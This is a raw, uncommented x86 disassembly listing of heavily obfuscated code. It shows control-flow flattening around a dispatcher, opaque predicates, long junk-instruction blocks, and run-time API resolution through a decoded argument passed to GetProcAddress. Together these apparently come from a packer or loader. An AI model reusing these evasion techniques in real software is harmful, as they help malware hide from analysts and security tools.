mov edx, eax
not edx
and eax, 0x78026a3e
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x9c14513a
and esi, 0x63ebaec5
or ecx, esi
mov esi, edx
and esi, 0x87fd95c1
and edx, 1
or esi, eax
mov eax, ecx
not eax
and ecx, 0x31cc6215
xor esi, 0x78026a3f
or edx, esi
mov esi, eax
and esi, 0xce339dea
or ecx, esi
mov esi, edx
not esi
or eax, edx
and edx, 0xce339dea
and esi, 0x31cc6215
not eax
or esi, edx
xor esi, ecx
or eax, esi
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xa8b357a
and eax, 0xf574ca85
or ecx, eax
mov eax, ecx
xor eax, 0x2883012
xor ecx, 0xf574ca85
mov esi, ecx
and esi, 0x4c770fed
and eax, 0xb388f012
or eax, esi
mov esi, edx
not esi
and edx, 0xb388f012
or ecx, esi
and esi, 0x4c770fed
or edx, esi
not ecx
mov esi, 0xc42c4f0b
xor edx, eax
or ecx, edx
setne cl
sete dl
cmp dword [0x4ba778], 0xa
setl al
setge ah
and cl, al
or al, dl
and ah, dl
or cl, ah
xor al, 1
or al, cl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x60c053cc
cmovne ecx, esi
test al, al
mov esi, 0x60c053cc
jmp 0x40a2e0
cmp eax, 0xf7d2b0fd
jle 0x403f47
cmp eax, 0xfc96f8c4
jg 0x404b43
cmp eax, 0xf8b4faf5
jle 0x405b24
cmp eax, 0xf8b4faf6
je 0x401ff0
cmp eax, 0xf9fdeab3
je 0x408ae4
cmp eax, 0xfa85a857
jne 0x402100
mov ecx, dword [0x4ba77c]
mov esi, 0xc54b79c5
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xd4b366e8
and eax, 0x2b4c9917
or edx, eax
xor edx, 0xd4b366e8
or ecx, edx
mov edx, ecx
xor edx, 0x1aeb35b0
mov eax, ecx
and eax, 0xc4f3aa7e
and edx, ecx
not ecx
and ecx, 0x3b0c5581
or eax, ecx
mov ecx, eax
xor ecx, 0xe32030
xor eax, 0x3b0c5580
and ecx, 0x1aeb35b0
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xfaac5d2
and ecx, 0xf0553a2d
or edx, ecx
xor edx, 0x1541f063
or eax, edx
mov ecx, eax
not ecx
and eax, 0xd21c6c43
and ecx, 0x2de393bc
or eax, ecx
mov ecx, eax
xor ecx, 0x120c4c41
xor eax, 0x2c03801c
and eax, 0xec13a01e
and ecx, 0x13ec5fe1
or ecx, eax
xor ecx, 0xec13a01e
setne dl
sete cl
cmp dword [0x4ba778], 0xa
mov dh, dl
setl ah
setge ch
mov al, ah
or dl, ah
and dh, ch
and al, cl
xor cl, ah
xor dl, 1
or al, dh
and cl, ah
or cl, dl
xor al, 1
mov edx, ecx
or al, ch
mov ah, cl
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xcd4b864f
cmovne eax, esi
test dl, 1
mov edx, 0xcd4b864f
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402100
cmp eax, 0x71417732
jg 0x404b85
cmp eax, 0x6dbe6243
jle 0x405b44
cmp eax, 0x6dbe6244
je 0x408ba3
cmp eax, 0x6dc3141f
je 0x408cfc
cmp eax, 0x71211732
jne 0x402100
mov eax, dword [0x4ba77c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 1
mov edx, eax
and edx, 0x58521620
and eax, 0x1881e064
or esi, edx
mov edx, ecx
and edx, 0xa7ade9de
or edx, esi
mov esi, edx
xor esi, 0x18000020
xor edx, 0xa7ade9de
mov edi, edx
or edx, ecx
and ecx, 0xe77e1f9b
and edi, 0xe77e1f9b
and esi, 0x1881e064
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xf18501a0
or edx, eax
xor edx, 0xffffffff
setne cl
sete dl
cmp dword [0x4ba778], 0xa
setl al
setge ah
xor al, dl
or cl, ah
or dl, ah
and al, ah
mov ah, cl
xor dl, 1
xor ah, 1
or al, dl
mov dl, ah
mov ch, al
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov cl, al
xor dl, 1
xor cl, 1
or dl, ah
and cl, dl
xor dl, 1
xor ch, dl
and dl, al
and ch, al
or dl, cl
mov eax, 0xaeec6174
mov cl, ch
xor cl, dl
test dl, 1
mov edx, 0xaeec6174
cmovne eax, esi
test ch, ch
jmp 0x40c4a3
cmp eax, 0x85f08705
jle 0x404bb0
cmp eax, 0x865dee64
jle 0x405b64
cmp eax, 0x865dee65
je 0x408d21
cmp eax, 0x87d9d8db
je 0x408eb0
cmp eax, 0x87e0a3db
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x1d649e03
mov esi, eax
or esi, 0xc09161fc
and ecx, eax
and esi, 0xc595e9fd
and edx, 0x18601602
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3a6a1602
or eax, esi
and esi, 0xc595e9fd
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe29b61fc
and eax, 0x1d649e03
or eax, ecx
mov esi, eax
xor esi, 0xcbd9eb3a
mov edx, eax
and edx, 0x2743017d
and esi, eax
not eax
and eax, 0xd8bcfe82
or edx, eax
mov eax, edx
xor eax, 0x2743017d
xor edx, 0xd8849680
mov ecx, eax
and ecx, 0xcbd9eb3a
and edx, 0xd9c696c4
or ecx, esi
not esi
and esi, 0x342614c4
and ecx, 0xcbd9eb3b
or ecx, esi
mov esi, eax
and esi, 0x2639693b
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x90c20285
xor esi, 0x20180900
or eax, edx
and esi, 0x691c9d40
and eax, 0x96e362bf
or eax, esi
mov esi, 0x9e7f049b
xor eax, 0x96e362bf
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x14d34dd6
and ecx, 0xeb2cb229
or eax, ecx
mov ecx, eax
xor ecx, 0xc34580
xor eax, 0x6224b028
and eax, 0x7634b87e
and ecx, 0x89cb4781
or ecx, eax
mov eax, ecx
xor eax, 0x2604187a
xor ecx, 0xb0600
and ecx, 0x503ba604
and eax, 0xafc459fb
or eax, ecx
mov ecx, eax
xor ecx, 0x848059c0
xor eax, 0x50222200
and eax, 0x7b66223b
and ecx, 0x8499ddc4
or ecx, eax
cmp ecx, 0x8499ddc4
setne cl
cmp dword [0x4ba778], 0xa
mov eax, ecx
setge dl
or al, dl
xor dl, cl
mov ah, dl
xor ah, al
xor al, 1
mov ecx, eax
or al, dl
xor ah, 1
xor al, 1
xor cl, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xc0989689
cmovne edx, esi
test al, al
mov eax, 0xc0989689
jmp 0x40baec
cmp eax, 0x87f5ed
jle 0x404bdb
cmp eax, 0x38cbba6
jle 0x405c7b
cmp eax, 0x38cbba7
je 0x408eba
cmp eax, 0x432ab55
je 0x409005
cmp eax, 0x4551341
jne 0x402100
cmp dword [ebp - 0x3c], 0
mov eax, 0x981872e3
sets byte [ebp - 0x5a]
jmp 0x402100
cmp eax, 0xc799a6f2
jle 0x404c06
cmp eax, 0xcc3904d6
jle 0x405ca2
cmp eax, 0xcc3904d7
je 0x409164
cmp eax, 0xcd4b864f
je 0x409175
cmp eax, 0xcd763eda
jne 0x402100
mov dword [ebp - 0x8c], 0
mov eax, 0x90a62640
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x80], ecx
jmp 0x402100
cmp eax, 0x4419304c
jle 0x404c31
cmp eax, 0x44d1246a
jle 0x405dda
cmp eax, 0x44d1246b
je 0x4092f0
cmp eax, 0x45928ca9
je 0x4092fa
cmp eax, 0x4978f7f2
jne 0x402100
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x24], 1
mov eax, 0x51f945d3
jmp 0x402100
cmp eax, 0xa1f6e4e7
jle 0x404c5c
cmp eax, 0xa3a3ba7f
jle 0x405dfa
cmp eax, 0xa3a3ba80
je 0x40931c
cmp eax, 0xa49266e6
je 0x409326
cmp eax, 0xa7e5ceb0
jne 0x402100
mov eax, 0x85f08706
jmp 0x402100
cmp eax, 0x22e95d7a
jle 0x404c87
cmp eax, 0x26d61def
jle 0x405e2b
cmp eax, 0x26d61df0
je 0x409330
cmp eax, 0x2714598b
je 0x4093fe
cmp eax, 0x27170f9e
jne 0x402100
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x60], eax
mov eax, 0x7fbc8bde
jmp 0x402100
cmp eax, 0xe4670131
jle 0x404cc5
cmp eax, 0xe63a47f4
jle 0x405e54
cmp eax, 0xe63a47f5
je 0x409408
cmp eax, 0xe7cd6f08
je 0x409412
cmp eax, 0xe85755a3
jne 0x402100
mov eax, 0xa49266e6
jmp 0x402100
cmp eax, 0x62e8ced5
jle 0x404e61
cmp eax, 0x63981035
jle 0x405e80
cmp eax, 0x63981036
je 0x40952c
cmp eax, 0x63e4e06e
je 0x409536
cmp eax, 0x6409a600
jne 0x402100
mov ecx, dword [ebp - 0xe8]
mov eax, 0x337ae148
mov dword [ebp - 0x9c], ecx
jmp 0x402100
cmp eax, 0x95579c8e
jle 0x405043
cmp eax, 0x96b66919
jle 0x405f57
cmp eax, 0x96b6691a
je 0x409547
cmp eax, 0x96e639f5
je 0x4095fb
cmp eax, 0x97a938af
jne 0x402100
mov eax, 0x49d69d6d
jmp 0x402100
cmp eax, 0xecec568
jle 0x40507a
cmp eax, 0xfc6a19b
jle 0x405f8b
cmp eax, 0xfc6a19c
je 0x409611
cmp eax, 0x1166e5eb
je 0x409624
cmp eax, 0x1275f950
jne 0x402100
mov dword [ebp - 0x24], 0xa
mov eax, 0xfda47062
jmp 0x402100
cmp eax, 0xd74b6a84
jle 0x4050a5
cmp eax, 0xd8a384d2
jle 0x405fb2
cmp eax, 0xd8a384d3
je 0x40962e
cmp eax, 0xd90395c0
je 0x409738
cmp eax, 0xda1b79b5
jne 0x402100
cmp byte [ebp - 0x58], 0
mov eax, 0x26959c0d
mov ecx, 0xfd8530b4
cmovne eax, ecx
jmp 0x402100
cmp eax, 0x57173498
jle 0x4050d0
cmp eax, 0x581635c3
jle 0x40609b
cmp eax, 0x581635c4
je 0x40982c
cmp eax, 0x585ff0e7
je 0x409843
cmp eax, 0x587856fc
jne 0x402100
mov eax, 0x5eaf8050
jmp 0x402100
cmp eax, 0xb6461eef
jle 0x40510a
cmp eax, 0xb97de18b
jle 0x4060bb
cmp eax, 0xb97de18c
je 0x409860
cmp eax, 0xbb006438
je 0x409871
cmp eax, 0xbb50f54f
jne 0x402100
mov eax, 0xf76fca26
jmp 0x402100
cmp eax, 0x337ae147
jle 0x40520a
cmp eax, 0x3590806d
jle 0x40610e
cmp eax, 0x3590806e
je 0x409a31
cmp eax, 0x36347f22
je 0x409a42
cmp eax, 0x3668d333
jne 0x402100
mov eax, dword [0x4ba77c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xd23357eb
or edx, 1
mov ecx, eax
and ecx, 0x2dcca814
and eax, 0xb033bd8a
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xa3ea434c
and esi, 0x5c15bcb3
or ecx, esi
mov esi, ecx
xor esi, 0x30111482
xor ecx, 0x8e26eb59
mov edi, ecx
or ecx, edx
and edx, 0x4fcc4274
and edi, 0x4fcc4274
and esi, 0xb033bd8b
or esi, edi
or eax, edx
not ecx
xor eax, esi
or ecx, eax
mov edx, ecx
xor edx, 0x9d9fe9
mov eax, ecx
and eax, 0x8906e1
and edx, ecx
not ecx
and ecx, 0x149908
or eax, ecx
mov ecx, eax
xor ecx, 0xc1
xor eax, 0xff76f91e
mov esi, eax
and esi, 0xf4cda722
and ecx, 0x1018c9
or ecx, esi
mov esi, edx
not esi
and edx, 0xb3258dd
or eax, esi
and esi, 0xf4cda722
or edx, esi
not eax
mov esi, 0x4978f7f2
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9d9fe9
and ecx, 0xff626016
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x55559f83
mov edx, ecx
and edx, 0xaaaa607c
or eax, edx
xor eax, 0x55559f83
or eax, ecx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x4ba778], 0xa
setge al
mov ah, al
xor ah, cl
or cl, al
or al, dl
and ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x51f945d3
cmovne ecx, esi
test al, al
mov esi, 0x51f945d3
jmp 0x40a2e0
cmp eax, 0xf4532222
jle 0x4052ff
cmp eax, 0xf5511e3d
jle 0x40612e
cmp eax, 0xf5511e3e
je 0x409a59
cmp eax, 0xf6ebaad6
je 0x409a63
cmp eax, 0xf76fca26
jne 0x402100
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x48], eax
mov eax, 0xf9fdeab3
jmp 0x402100
cmp eax, 0x7b75e095
jle 0x406519
cmp eax, 0x7b75e096
je 0x409b86
cmp eax, 0x7e8fab69
je 0x409c68
cmp eax, 0x7fbc8bde
jne 0x402100
mov eax, dword [ebp - 0xb8]
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x60], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x8981441
mov esi, edx
mov edi, edx
or edi, 0x2202200c
and ecx, 0x2a9a344d
and esi, 0x5400c822
and edx, 0xbeb1b3c9
or esi, ecx
mov ecx, eax
and edi, 0x2a9a344d
and ecx, 0x81650390
and eax, 0x414e4c36
or ecx, edi
or eax, edx
xor ecx, esi
mov esi, ecx
not esi
and ecx, 0xe2edbbbb
and esi, 0x1d124444
or ecx, esi
mov esi, 0xbe5d486
mov edi, ecx
xor ecx, 0x2300ac40
xor edi, 0x94ef5394
mov edx, edi
and edx, 0xdc3d40ab
and ecx, 0x23c2bf54
or ecx, edx
mov edx, eax
xor edx, 0x1420c14
xor eax, 0xbeb1b3c9
or edi, eax
and eax, 0xdc3d40ab
and edx, 0x23c2bf54
or edx, eax
not edi
xor edx, ecx
or edi, edx
cmp edi, 0xffffffff
mov edi, 0xbe5d486
setne al
cmp dword [0x4ba778], 0xa
mov edx, eax
setge cl
xor dl, cl
or al, cl
xor dl, 1
mov ecx, eax
or cl, dl
xor dl, al
mov eax, ecx
xor al, dl
mov eax, 0x27170f9e
jmp 0x40b025
cmp eax, 0x8e714369
jle 0x406539
cmp eax, 0x8e71436a
je 0x409d4c
cmp eax, 0x8f0e3381
je 0x409e42
cmp eax, 0x8f695807
jne 0x402100
push 0x400
push section..data
push dword [ebp - 0x20]
vzeroupper
call fcn.0041e300
add esp, 0xc
ror eax, 9
inc edi
sub eax, 0x6f
not eax
add eax, 0xf3
add edx, 0xf0
imul edi
and edx, 0x2c
imul eax
rcl eax, 0x7f
imul esi
neg edx
add eax, 0x14
not esi
not eax
ror esi, 0x9f
not eax
neg ebx
not edi
mov edi, 0xeb
ror edi, 0xfb
imul ebx
imul esi
add edi, 0x1d
inc eax
mov ebx, 0xb4
not esi
inc ebx
rol edi, 0xec
neg edi
dec edi
rcr eax, 0xa6
rcl esi, 0x85
neg eax
imul esi
rcl edi, 0x56
imul edi
neg edx
not eax
imul esi
not ebx
add ebx, 0xd0
inc esi
imul ebx
or esi, 0xe
sbb ebx, 0xfa
or eax, 0x23
add eax, 0xc5
rcr edi, 0xc7
ror esi, 0xac
imul eax
not esi
neg eax
imul eax
imul eax
inc edi
inc esi
or ebx, 0xe1
imul esi
rcl edi, 0x21
dec esi
inc ebx
ror edx, 0xf9
imul eax
dec edi
sub ebx, 0x3d
rcr eax, 0xed
mov ebx, 0x9f
bswap eax
sbb edx, 0x97
sub eax, 0xeb
mov edi, 0xdd
rol ebx, 0x3b
imul edi
bswap edi
and ebx, 0x5a
dec ebx
or edx, 0x72
not eax
bswap eax
inc edi
rcl edx, 0x75
rcl esi, 0x48
rol ebx, 0x6c
rol eax, 0xc4
not edi
not ebx
rcr ebx, 0x35
neg edx
neg edx
rcl edi, 9
rcr eax, 0xa1
inc esi
imul edi
rcr esi, 0x60
dec esi
ror ebx, 0x92
mov eax, 0xdf
inc edx
neg edi
or esi, 0xcf
bswap esi
neg ebx
bswap edx
mov edi, 0xcb
not edx
inc edx
neg eax
dec edi
not esi
sub eax, 0x8b
imul ebx
inc eax
bswap eax
mov eax, 0xbd
inc edi
ror eax, 0x70
dec edx
ror ebx, 0xea
sbb edx, 0x59
or esi, 0x4c
inc eax
bswap ebx
neg esi
and edx, 0x87
neg eax
sbb esi, 0xa6
add esi, 0x1a
ror eax, 0xc0
dec edi
rcr edi, 0xed
ror edx, 0x94
imul eax
imul esi
bswap eax
imul ebx
dec eax
dec ebx
inc eax
add ebx, 0xc1
inc ebx
dec eax
rcl esi, 0xe3
not ebx
mov ebx, 0x1d
bswap esi
inc ebx
imul ebx
inc eax
inc eax
mov ecx, dword [0x4ba77c]
mov dword [ebp - 0x2c], eax
mov edi, 0x8dc9888
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x5cc9ffc2
mov ecx, edx
and ecx, 0xa336003c
and edx, 0xa8ac46e9
or esi, ecx
mov ecx, eax
and ecx, 1
and eax, 0x5753b916
xor esi, 0x5cc9ffc2
or eax, edx
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x54da49a8
mov esi, edx
and esi, 0xab25b657
or ecx, esi
mov esi, eax
xor esi, 0x54520900
xor eax, 0xa8240641
and eax, 0xab25b657
and esi, 0x54da49a8
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x4ecc4055
sete dl
setne cl
cmp dword [0x4ba778], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor cl, 1
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
xor al, cl
mov edx, eax
test al, 1
not dl
cmovne esi, edi
test dl, cl
cmovne esi, edi
test al, 1
mov eax, esi
cmovne eax, edi
test dl, cl
mov edx, dword [ebp - 0x28]
cmove eax, esi
mov dword [ebp - 0xfc], edx
jmp 0x402100
cmp eax, 0x87baaef
jle 0x40666f
cmp eax, 0x87baaf0
je 0x409e92
cmp eax, 0x8dc9888
je 0x409f11
cmp eax, 0x8ff5c97
jne 0x402100
mov eax, dword [0x4ba77c]
mov esi, 0x2a901a6d
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xff0d6125
and ecx, 0xf29eda
or edx, ecx
xor edx, 0xff0d6125
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x75397a7d
and ecx, 0x8ac68582
or ecx, eax
mov eax, ecx
xor eax, 0x34281859
xor ecx, 0x8ac68582
mov edx, ecx
and edx, 0x43576724
and eax, 0xbca898db
or eax, edx
xor eax, 0x43576724
xor ecx, eax
test ecx, eax
setne ah
sete cl
cmp dword [0x4ba778], 0xa
setge dl
setl ch
mov al, dl
or ah, ch
xor al, cl
xor cl, ch
and cl, ch
mov ch, ah
xor al, 1
xor cl, 1
or al, dl
xor ch, cl
or cl, ah
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ch
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x2a901a6d
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x63e4e06e
jmp 0x408acd
cmp eax, 0xd429143e
jle 0x406784
cmp eax, 0xd429143f
je 0x409f1b
cmp eax, 0xd48da204
je 0x409f25
cmp eax, 0xd502ea96
jne 0x402100
mov eax, 0x4230728e
jmp 0x402100
cmp eax, 0x4e6d3aa6
jle 0x4067a4
cmp eax, 0x4e6d3aa7
je 0x409f50
cmp eax, 0x4ecc4055
je 0x409f5a
cmp eax, 0x4f2f4678
jne 0x402100
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + ecx*4]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x42120140
and eax, 0x98014012
mov edx, ecx
and edx, 0x24ac3c21
or ecx, 0x2ac1c40
or esi, edx
and ecx, 0x3ec9ecc
mov edx, esi
xor edx, 0x40120100
xor esi, 0x1ec9e8c
or eax, ecx
and esi, 0x3ec9ecc
and edx, 0x64122121
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x66be3d61
and ecx, 0x9941c29e
or eax, ecx
mov ecx, eax
xor ecx, 0xffff
movzx edx, ax
and ecx, eax
not eax
and eax, 0xffff0000
or edx, eax
mov eax, ecx
not eax
and ecx, 0x92f8b7ff
mov edi, edx
not edi
mov esi, eax
and esi, 0x6d074800
and edx, 0x92f8b7ff
or eax, edi
and edi, 0x6d074800
or ecx, esi
or edx, edi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe1090555
and ecx, 0x1ef6faaa
or ecx, eax
xor ecx, 0xe1090555
push ecx
push dword [ebp - 0xa0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x98], eax
test eax, eax
mov eax, 0x8e4858e8
mov ecx, 0x57173499
cmove eax, ecx
jmp 0x402100
cmp eax, 0xaf09f62f
jle 0x4067ce
cmp eax, 0xaf09f630
je 0x40a0fe
cmp eax, 0xb126746e
je 0x40a10f
cmp eax, 0xb2d94ffe
jne 0x402100
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0xd8], eax
mov eax, 0x38311d9a
jmp 0x402100
cmp eax, 0x2f08424b
jle 0x4067f4
cmp eax, 0x2f08424c
je 0x40a1e9
cmp eax, 0x307982dd
je 0x40a2ea
cmp eax, 0x31d4152f
jne 0x402100
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x44]
mov eax, dword [eax + ecx*4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x170], eax
mov eax, 0x4f2f4678
jmp 0x402100
cmp eax, 0xf06f0b6b
jle 0x406814
cmp eax, 0xf06f0b6c
je 0x40a2f4
cmp eax, 0xf087557b
je 0x40a30b
cmp eax, 0xf0fbeb0e
jne 0x402100
mov eax, 0x36e4a9b5
jmp 0x402100
cmp eax, 0x6a6cf2a8
jle 0x406843
cmp eax, 0x6a6cf2a9
je 0x40a325
cmp eax, 0x6a94ad0c
je 0x40a336
cmp eax, 0x6aa68566
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x9d6830c8
mov ecx, edx
or ecx, 0x62864f04
and edx, 0x53b1b326
mov edi, ecx
and edi, 0x42978c37
or esi, edi
mov edi, eax
xor edi, 0x62864f04
andn edi, eax, edi
and eax, 0xac4e4cd8
mov ebx, edi
not ebx
and edi, 0xbd6873c8
or eax, edx
or ecx, ebx
and ebx, 0x42978c37
xor eax, 0xac4e4cd8
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0xdc25921d
mov esi, ecx
not esi
and ecx, 0xefe174c3
and esi, 0x101e8b3c
or ecx, esi
mov esi, 0xff3bf35a
xor ecx, 0x7298c439
or eax, ecx
mov edx, eax
xor edx, 0x8be08c64
mov ecx, eax
and ecx, 0xa800424
and edx, eax
not eax
and eax, 0x81608840
or ecx, eax
xor ecx, 0xa800424
or ecx, edx
not edx
and edx, 0x741f739b
and ecx, 0x8be08c64
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x679d6d70
and eax, 0x9862928f
or eax, ecx
xor eax, 0x9862928f
sete al
setne dl
cmp dword [0x4ba778], 0xa
setl ah
setge cl
or ah, al
xor dl, cl
xor cl, al
xor ah, 1
mov al, cl
or ah, dl
or cl, ah
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0xdc25921d
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmovne eax, edx
jmp 0x402100
cmp eax, 0x9b955583
jle 0x4069e9
cmp eax, 0x9b955584
je 0x40a466
cmp eax, 0x9d4ddba2
je 0x40a470
cmp eax, 0x9db7fcf9
jne 0x402100
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x108], eax
mov eax, 0x21005e10
jmp 0x402100
cmp eax, 0x1a80bc89
jle 0x406a24
cmp eax, 0x1a80bc8a
je 0x40a47a
cmp eax, 0x1beb0256
je 0x40a484
cmp eax, 0x1befb553
jne 0x402100
mov eax, 0xce53d4bc
jmp 0x402100
cmp eax, 0xde00864b
jle 0x406b56
cmp eax, 0xde00864c
je 0x40a5f7
cmp eax, 0xdeb5f308
je 0x40a601
cmp eax, 0xdf6ffc83
jne 0x402100
mov eax, dword [ebp - 0x19c]
movzx ecx, word [ebp - 0x92]
mov word [eax], cx
mov eax, 0x8629ae46
jmp 0x402100
cmp eax, 0x5eaf804f
jle 0x406b76
cmp eax, 0x5eaf8050
je 0x40a60b
cmp eax, 0x5f02664b
je 0x40a72f
cmp eax, 0x5f1f225c
jne 0x402100
inc eax
rcl edx, 0x9e
sbb edi, 0x37
bswap edi
not ebx
neg eax
bswap esi
rcr esi, 0x47
dec edx
rcl eax, 0x59
add edx, 0xfa
imul edx
inc esi
inc edx
bswap edi
dec edi
inc esi
dec edx
not eax
inc ebx
rcr esi, 0xf5
sub eax, 0xbe
or edi, 0xcc
inc ebx
rcr edi, 0x96
add eax, 0x88
add esi, 0x95
mov edi, 0x6c
not edi
or ebx, 0xd0
rcr eax, 0xcc
and esi, 0xae
imul edi
add eax, 0x12
rol edx, 0xc3
sbb ebx, 0xc4
inc edx
imul edi
dec esi
rol eax, 0x5c
and eax, 0x3c
not edx
inc eax
rol edi, 0xb6
rcr edi, 0xb0
add esi, 0x83
or eax, 0xbf
add ebx, 0x50
and esi, 0xad
inc edi
not ebx
rcr edx, 0x74
neg edi
and edi, 0x2c
inc edx
add ebx, 0x27
dec edi
imul edx
bswap edx
dec eax
neg eax
rcr esi, 0x14
ror esi, 0xa3
neg edx
add edx, 0xee
rol eax, 0x39
sbb esi, 0x92
rcr ebx, 0xc1
add ebx, 0xa5
not edi
dec edx
rcr esi, 0
rcr esi, 0x2f
dec edx
bswap edx
mov edi, 0xb2
dec esi
add edi, 0xe8
dec edi
rcr esi, 0x16
ror esi, 0xe
bswap esi
imul ebx
and ebx, 0x8a
bswap eax
imul eax
neg esi
sbb edx, 0xcc
dec edi
imul esi
bswap esi
rcr eax, 0xa5
or ebx, 0x24
rcr eax, 3
neg ebx
not edi
sbb esi, 0xc3
rcr ebx, 0xe8
not esi
rcl edx, 0x41
sub eax, 0xd3
not edx
inc ebx
dec eax
add eax, 0x91
sbb eax, 0x36
mov edi, 0x3d
sub edi, 0xe1
rcr ebx, 0xdf
bswap eax
or esi, 0xb9
or eax, 0xe5
sub edi, 0x6d
sub edx, 0x11
imul eax
bswap eax
dec ebx
rcr ebx, 0x66
and eax, 0xd2
not eax
neg edx
or esi, 0xb9
rcr eax, 1
dec edi
rol esi, 0xfd
sbb esi, 0x3a
rcl esi, 0x16
add edi, 0xdd
rcr esi, 0xe
add ebx, 0xc3
sub eax, 0x73
mov ebx, 0xec
neg edx
rcr esi, 0x67
rcl eax, 0x4c
bswap edx
mov eax, 0x9d
sbb eax, 0xb3
not edx
neg eax
add edi, 0x30
and ebx, 0x71
dec edx
add ebx, 0x13
rol edi, 0xaa
ror esi, 0x96
sub edi, 0x35
rol edx, 0x99
imul ebx
inc eax
mov dword [ebp - 0x2c], eax
mov eax, 0x69427666
jmp 0x402100
cmp eax, 0xc392fd67
jle 0x406c6b
cmp eax, 0xc392fd68
je 0x40a73c
cmp eax, 0xc42c4f0b
je 0x40a752
cmp eax, 0xc44a8b09
jne 0x402100
mov eax, 0x918d0020
jmp 0x402100
cmp eax, 0x3dca7663
jle 0x406c9d
cmp eax, 0x3dca7664
je 0x40a75c
cmp eax, 0x403ef5ae
je 0x40a76f
cmp eax, 0x41232576
jne 0x402100
mov ecx, dword [0x4ba77c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x51ac584c
mov edx, ecx
and edx, 0xae53a7b2
and ecx, 0x57093bc
or esi, edx
mov edx, eax
and eax, 0xfa8f6c43
and edx, 1
xor esi, 0x51ac584c
or eax, ecx
or edx, esi
xor eax, 0xfa8f6c43
mov esi, 0xdeb5f308
not edx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xcf5375ec
and ecx, 0x30ac8a13
or eax, ecx
xor eax, 0xcf5375ec
setne ah
sete cl
cmp dword [0x4ba778], 0xa
mov dl, ah
setl ch
setge al
and cl, al
and ch, ah
xor dl, al
and al, ah
or ch, cl
mov cl, dl
or al, ch
xor cl, al
xor al, 1
or al, dl
mov ah, cl
mov edx, 0x69ee4556
xor ah, 1
xor al, 1
or al, ah
xor ah, al
test ah, 1
cmovne edx, esi
test al, 1
mov eax, 0x69ee4556
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x402100
